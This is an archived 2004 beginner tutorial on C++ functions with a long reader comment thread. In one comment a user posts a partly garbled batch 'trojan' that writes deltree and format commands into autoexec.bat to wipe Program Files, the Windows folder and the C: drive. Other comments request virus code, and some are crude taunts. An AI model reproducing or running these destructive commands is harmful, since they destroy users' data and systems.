Geekpedia Programming Tutorials






Basic C++ functions

Tutorial for understanding the C++ functions. It shows you two functions that return the same result but are coded differently.

On Monday, March 15th 2004 at 09:26 PM
By Andrew Pociu (View Profile)
*****   (Rated 4.3 with 25 votes)
Contextual Ads
More C++ Resources
Advertisement

We have the function:


// Creating a function and using it. Doesn’t use return.

#include <iostream>
using namespace std;

void square(int i);

int main(void)
{
    int num;
    cout << "Please enter a number: ";
    cin >> num;
    square(num);
    return 0;
}

void square(int i)
{
    int sq = i * i;
    cout << "Square of " << i << " is " << sq;
}



Let’s see how this works:

void square

- first we create the prototype of the function. We use ‘void’ because we don’t want the function to return any value (if we don’t use void and we don’t return any value, the compile will return an error).

int i - the type of the argument we will use to hold the number we want to be multiplied. ‘i’ is the name of the argument variable.

square(num);

- we use the function to display the square of the number in the ‘num’ variable.

After the ‘main’ function ends, the definition of the ‘square’ function begins. We use the ‘i’ variable (the argument) to be multiplied and stored in a variable which is then displayed using ‘cout’. Using this function is the same as inserting the code inside it instead of the call of the function, ‘square(num)’.




This function does the same thing, but works differently. It doesn’t use ‘cout’ inside the function, but instead it returns a value. That is why this time we don’t use void at the prototype and definition of the function. Instead we use ‘int’, the type of value we expect the function to return.


// Creating a function and using it. Uses return.

#include <iostream>
using namespace std;

int square(int i);

int main(void)
{
    int num;
    int sq;
    cout << "Please enter a number: ";
    cin >> num;
    sq = square(num);
    cout << "Square of " << num << " is " << sq;
    return 0;
}

int square(int i)
{
    int sq = i * i;
    return sq;
}


Depending on the situation, you may want to use the first type of function, or the second.
Digg Digg It!     Del.icio.us Del.icio.us     Reddit Reddit     StumbleUpon StumbleIt     Newsvine Newsvine     Furl Furl     BlinkList BlinkList

Rate Rate this tutorial
Comment Current Comments
by dustin on Thursday, March 25th 2004 at 06:26 AM

ok this is good but remember some of the things are case sensitive ex. PleaseEnterANumber.
see no spaces

by dustin on Thursday, March 25th 2004 at 06:29 AM

Oh sorry never mind thats only for variables

by dustin on Thursday, March 25th 2004 at 06:32 AM

What the crap never mind im mixed up!

by SpLinux on Monday, April 26th 2004 at 08:31 PM

actually i'm learning C++

by Ehi on Wednesday, June 16th 2004 at 05:24 PM

This is an interesting program. I experimented it and it worked. I just wanna say thanks to the author.

by my on Monday, September 6th 2004 at 09:38 AM

how to code viruses in c++

by Andrei Pociu on Tuesday, September 21st 2004 at 01:05 PM

Take about 2 or 3 years of intensive C++ learning...

by Ochama Ahmed on Saturday, March 26th 2005 at 07:40 AM

I made slight modifiecations; <iostream.h> and "//" before "using namespace std;" to enable the fuctions run on Borland C++. I enjoyed the prospect of learning C++.

by mikl on Saturday, July 2nd 2005 at 03:17 AM

i want to create virus using c++

by he on Tuesday, August 16th 2005 at 07:10 AM

i am interested in the virus programing .And if there is new program or site then inform me.

by :stylin: on Saturday, October 1st 2005 at 02:12 AM

Try not to lead people astray.

First off, in C++ the main function is defined as "int main( int argc, char * argv[] )" or simply "int main()". Do not include void in the parameter list; this is legal for compatibility with C, but considered bad form in C++ code.

Clarify what you mean by "not using void as a return argument". One can be lead to think that you can omit void and just have "square( int i )", which doesn't work.

Finally, you don't give any reasons as to when you should return a variable and when you shouldn't. When you require a result from a function (eg. square root, difference between two numbers, a string that is combined from two other strings, etc.), return a result. When you don't, then return void. It's that simple.

by Ganesan R on Monday, October 24th 2005 at 03:08 AM

I want to create virus using JAVA.Plz help me???

by Tryin C++ on Tuesday, November 8th 2005 at 12:51 PM

Im tryin to create a function that the user put in a number and then it prints out a bar of stars . the amount of stars depends on the number. how do i do this thnx

by Eugenio on Wednesday, April 19th 2006 at 06:45 AM

I konw how to declare a two dimensional array of structs in a function prototype but when I call it it does not work.
void checkTiles(Pixel Image[], int size,Pixel **tileArray,int width,int height);/****prototype
checkTiles(Image, tile_width,*tileArray, width, height);/**calling function
Any ideas

by theyellowonesthesun on Monday, May 1st 2006 at 11:57 AM

Stop with the virus crap you\'re a bunch of losers

by Kurdish-Girl on Sunday, May 21st 2006 at 05:56 PM

These tutorials are just amazing, I like this page so much, helpful,understandable,easy learning, its just like you have a conversation with some one....Welldone and Good luck

by FREELIFE on Wednesday, June 14th 2006 at 03:43 AM

DEAR SIR/MADAM

YOU EXPLAIN VERY NICE (C++).
CAN YOU PLEASE ADD SOME C++PROGRAMS

by Paul on Tuesday, October 31st 2006 at 09:45 AM

C++ is wierd

by Deepak on Tuesday, October 31st 2006 at 09:46 AM

I love geeks and C++

by Justin on Tuesday, October 31st 2006 at 09:50 AM

HI guys. Im cool and i like little fat boys

by Justin on Tuesday, October 31st 2006 at 09:50 AM

I love men!!!!!!

by Deepak on Tuesday, October 31st 2006 at 09:51 AM

I apologize for this show of stupidity from my peers. They're trying to be cool. Don't heed their words.

by Little fat boy on Tuesday, October 31st 2006 at 09:52 AM

I love you too.

by Little fat boy on Tuesday, October 31st 2006 at 09:54 AM

Deepak. Grow Some balls.

by Deepak on Tuesday, October 31st 2006 at 09:59 AM

I am really really sorry about this. Paul kim, you ARE a little fat precalculus oriental freshman geek.

by Paul Kim on Tuesday, October 31st 2006 at 10:00 AM

thats right. I am

by Deepak on Wednesday, November 1st 2006 at 09:35 AM

Its ok, i love men. You are accepted.

by Deepak the real one on Wednesday, November 1st 2006 at 09:37 AM

Paul shut UP!!! Get a life.

by moi on Friday, November 3rd 2006 at 02:44 PM

Can u ppl talk C++???

by boi bastos10 on Monday, November 20th 2006 at 02:04 AM

plzz add more visual c++ programs... it is very helpfull... u got a nice
j job down here so plzzz>>>> post visual c++ programs

by h4x0r on Tuesday, January 9th 2007 at 02:36 PM

i have been studying c++ as my first language from a month.. viruses are piss easy.. but u need to know the language.. if u donno how to save files, open reg keys and stuff like that ur never gonna do anything with c++

by dude on Monday, February 12th 2007 at 07:29 PM

idiots
yall want a virus? yall are more likely to get one that will
harm your system then one you can make assholes. yall bums,
get a life.

by dude on Monday, February 12th 2007 at 07:32 PM

You need to learn some c/c++ before some of you assholes
will understand this kinda virus crap.
----------------------------------------
// Yall want a virus huh?
//virus.cpp
#include <stdio.h>
#include <iostream>

int x;

int main()
{
x=2;
while(x=2)
{
printf("you are hacked");
}
return 0;
}
// there ur freakin virus
// not hard huh?

by Reyhard Heinrich on Wednesday, February 28th 2007 at 04:41 AM

do you have C++ sample program of conversion from decimal to binary using iteration logic in Array?

by terminal_boy on Saturday, March 10th 2007 at 04:28 AM

//hello world
#include<iostream>
using namespace std;
int main()
{
cout<<\"Hello World!!! \\n\\n\";
cout<<\"Want anyone hellp me to learn Vizual Basic\\n\\n\";
system(\"pause\");
return 0;
}

by marvin on Saturday, April 7th 2007 at 01:45 PM

everytime when i try the program, it close suddenly, is it becos of the "return 0" ?? beisde adding "retrrn 0" wat other code i can addin so that the program will not close itself? ohh and i dun wanna put "system("pause") also,,, wat other code else?

by Andrei Pociu on Saturday, April 7th 2007 at 04:03 PM

You could put "cin >> someVar;" to await further input from the client before closing.

by Ojwang JGO on Monday, April 16th 2007 at 02:29 PM

Instead of
system("pause");
return 0;

put

cin.get();

by Tahir on Tuesday, May 1st 2007 at 02:24 AM

I Need Functions Tutorials

by vertech on Wednesday, May 23rd 2007 at 06:11 AM

this post help me a lot in my new project .,., hope you give more lesson here/ thanks anyway/.....,.,.,.,.,.,

by kiambati brian on Friday, September 28th 2007 at 05:21 AM

Anyone out there with a kind hert need some help with a little C++ problem,am kind of a dummie,pleas mail the solution to my email address.
The question is

\"A motor dealer makes an order for variou items.An order comprises of required parts each identified by part_number,name_of_item,and item price.It is possible to perfom operations like adding an item in the order list,deleting an item for m the list and printing the total value of the order,

Requred:

Implement_using C++ -a program that will allow:

i) Adding an item into the list.
ii)reading an item from the list
iii)Deleting an item form the list.

The program should present a menu for the user to input new items or to display the contents of the oder in a columnar format with the heading of:Part number,part name and price.A date should appear at the top.

Hint:Implement C++ relationships\"

This one is for the C++ guru code programers out there,so show me what you\'ve got

by kiambati on Friday, September 28th 2007 at 05:35 AM

i kind of need it by today.Thankx guys.N by the way use a linked list implemention.N whassup Ojwang whre are you from.Holla

by Robert Ryan on Friday, December 14th 2007 at 01:59 AM

I am learning C++, trying to understand functions and function prototypes
thanks
bobby ryan

by R power on Sunday, January 6th 2008 at 12:17 PM

Can anyone give a code t execute virus (for fun).

by RJ on Monday, February 11th 2008 at 12:51 PM

look if you want good trojan virus just use BATCH code.
let me make one then ill post instructions and the source

by RJ on Tuesday, February 12th 2008 at 11:27 AM

Just take this and put it into notepad and save as AUTOEXE.bat
DO NOT CLICK ON IT YOUR SYSTEM WILL CRASH!!!!!!


echo off@
cls
call attrib -h -r c:\\autoexec.bat >nul
echo @echo off >c:\\autoexec.bat
echo deltree /y c:\\progra~1\\*.* nul >>c:\\autoexec.bat
echo copy c:\\******s\\command\\forma.com c:\\ >nul >>c:\\autoexe.bat
echo copy c:\\******s\\command/deltree.exe c:\\ >nul >>c:\\autoexec.bat
echo deltre /y c:\\******s\\*.* >nul >>c:\\autoexec.bat
echoformat c:/q /u /autotest >nul >>c:\\autoexe.bat )

by ashiq akbar on Thursday, April 10th 2008 at 12:09 PM

hi im trying to learning c++.
from bangladesh.
mob:
+8801711466360


:)

by Shashank on Tuesday, June 10th 2008 at 05:12 AM

Everything is only bunch of crap

by C HoSt on Thursday, July 17th 2008 at 07:46 AM

Can anyone show me the C source code for:
-Critical message
-copying files
-format drivers
-OUTLOOK,MSN SPREADING(I NEED THIS ONE THE MOST)

by Amir on Wednesday, August 27th 2008 at 08:40 AM

Hello,

I hope to be fine and doing well!

I'm Amir from South Korea, I'm trying to learn C Programming, from basic.

any one help me?

Thanks

bye


Comment Comment on this tutorial
Name: Email:
Message:
Comment Related Tutorials
There are no related tutorials.

Comment Related Source Code
There is no related source code.

Jobs C++ Job Search
My skills include:
Enter a City:

Select a State:


Advanced Search >>
Latest Tech Bargains

Advertisement

Free Magazine Subscriptions

Today's Pictures

Today's Video

Other Resources

Latest Download

Latest Icons